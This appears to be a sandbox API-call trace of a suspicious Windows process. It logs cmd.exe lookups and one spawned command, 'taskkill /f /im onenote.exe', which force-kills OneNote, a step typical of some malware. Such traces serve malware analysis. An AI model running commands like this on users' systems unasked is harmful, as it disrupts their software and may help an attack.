	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f62d8 | out: lpFileInformation=0x124f62d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.519] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f6328 | out: lpFileInformation=0x124f6328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.519] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.519] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f6378 | out: lpFileInformation=0x124f6378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f63c8 | out: lpFileInformation=0x124f63c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f6418 | out: lpFileInformation=0x124f6418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f6468 | out: lpFileInformation=0x124f6468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f64b8 | out: lpFileInformation=0x124f64b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f6508 | out: lpFileInformation=0x124f6508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f6558 | out: lpFileInformation=0x124f6558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.520] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.520] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e65b0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f65a8 | out: lpFileInformation=0x124f65a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.521] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f65f8 | out: lpFileInformation=0x124f65f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.521] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0045.521] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0045.521] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0045.521] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.521] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0045.521] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.522] GetEnvironmentStringsW () returned 0x7eb348*
	[0045.522] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0045.522] GetCurrentProcess () returned 0xffffffff
	[0045.522] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe250, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe250*=0xc0) returned 1
	[0045.522] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe254, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe254*=0xc4) returned 1
	[0045.522] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fe258, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fe258*=0xc8) returned 1
	[0045.522] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im onenote.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b4800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im onenote.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0xbdc, dwThreadId=0xbd0)) returned 1
	[0045.530] CloseHandle (hObject=0xac) returned 1
	[0045.530] CloseHandle (hObject=0xc8) returned 1
	[0045.530] CloseHandle (hObject=0xc4) returned 1
	[0045.530] CloseHandle (hObject=0xc0) returned 1
	[0045.530] CloseHandle (hObject=0xbc) returned 1
	[0045.530] CloseHandle (hObject=0xb0) returned 1
	[0045.530] CloseHandle (hObject=0xb4) returned 1
	[0045.530] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0045.913] SetEvent (hEvent=0xa8) returned 1
	[0045.913] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0045.913] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x125000e0, lpExitTime=0x125000e8, lpKernelTime=0x125000f0, lpUserTime=0x125000f8 | out: lpCreationTime=0x125000e0, lpExitTime=0x125000e8, lpKernelTime=0x125000f0, lpUserTime=0x125000f8) returned 1
	[0045.913] CloseHandle (hObject=0xb8) returned 1
	[0045.913] SetEvent (hEvent=0x80) returned 1
	[0045.913] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0045.915] SetEvent (hEvent=0x80) returned 1
	[0045.915] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee410, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.915] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249fd68 | out: lpFileInformation=0x1249fd68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.915] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249fdb8 | out: lpFileInformation=0x1249fdb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249fe08 | out: lpFileInformation=0x1249fe08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249fe58 | out: lpFileInformation=0x1249fe58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249fea8 | out: lpFileInformation=0x1249fea8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249fef8 | out: lpFileInformation=0x1249fef8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249ff48 | out: lpFileInformation=0x1249ff48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.916] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.916] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249ff98 | out: lpFileInformation=0x1249ff98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.917] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.917] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12502008 | out: lpFileInformation=0x12502008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.917] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.917] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12502058 | out: lpFileInformation=0x12502058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.917] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.917] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x125020a8 | out: lpFileInformation=0x125020a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.917] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.917] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x125020f8 | out: lpFileInformation=0x125020f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0045.917] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0045.917] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124ee4e0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.917] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502148 | out: lpFileInformation=0x12502148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.917] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee5b0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.917] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502198 | out: lpFileInformation=0x12502198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0045.918] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0045.918] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0045.918] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0045.918] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.918] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0045.918] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0045.918] GetEnvironmentStringsW () returned 0x7eb348*
